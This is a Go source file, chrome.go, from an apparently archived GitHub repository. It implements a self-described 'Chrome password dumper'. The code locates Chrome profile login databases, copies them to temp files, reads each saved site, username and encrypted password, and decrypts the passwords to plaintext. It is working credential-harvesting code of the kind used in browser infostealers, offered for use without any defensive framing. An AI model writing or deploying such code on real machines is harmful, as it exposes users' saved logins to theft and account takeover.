This repository has been archived by the owner on Nov 24, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 5
/
chrome.go
110 lines (98 loc) · 2.32 KB
/
chrome.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package main
import (
"database/sql"
"fmt"
"log"
"os"
"path/filepath"
)
// Chrome implements Chrome browser password decryption.
type Chrome struct {
key []byte
data chan *LoginInfo // data channel
iv []byte
openSSL bool
}
// NewChrome creates a new Chrome password dumper. `useOpenSSL` allows
// to use openssl binary instead of built in crypto library, if supported.
func NewChrome(useOpenSSL bool) (*Chrome, error) {
c, err := chromeInit(useOpenSSL)
if err != nil {
return nil, err
}
return c, nil
}
// loginFiles returns the list of profile login data files
func (c *Chrome) loginFiles() ([]string, error) {
return filepath.Glob(c.dbPathGlob())
}
func (c *Chrome) processFile(results chan<- *LoginInfo, profileName string, dbfile string) error {
const stmt = "SELECT origin_url, username_value, password_value FROM logins"
fi, err := os.Stat(dbfile)
if err != nil {
return err
}
if fi.Size() == 0 {
return fmt.Errorf("empty database file for profile %q: %q", profileName, dbfile)
}
db, err := sql.Open("sqlite3", dbfile)
if err != nil {
return err
}
defer db.Close()
if err := db.Ping(); err != nil {
return err
}
rows, err := db.Query(stmt)
if err != nil {
return fmt.Errorf("profile: %s, error: %s", profileName, err)
}
defer rows.Close()
for rows.Next() {
var origin, username string
var encryptedPass = make([]byte, passBufSz)
if err := rows.Scan(&origin, &username, &encryptedPass); err != nil {
results <- &LoginInfo{Err: err}
return err
}
passw, err := c.decryptField(encryptedPass)
if err != nil {
passw = []byte(errorField)
}
results <- &LoginInfo{
Profile: profileName,
Origin: origin,
Username: username,
Password: string(passw),
Err: err}
}
if err := rows.Err(); err != nil {
results <- &LoginInfo{Err: err}
return err
}
return nil
}
func (c *Chrome) Decrypt() <-chan *LoginInfo {
results := make(chan *LoginInfo)
go func() {
defer close(results)
files, err := c.loginFiles()
if err != nil {
results <- &LoginInfo{Err: err}
return
}
for _, file := range files {
tmpFile, err := copyToTemp(file)
if err != nil {
log.Println(err)
return
}
defer os.Remove(tmpFile)
if err := c.processFile(results, profileName(file), tmpFile); err != nil {
log.Println(err)
return
}
}
}()
return results
}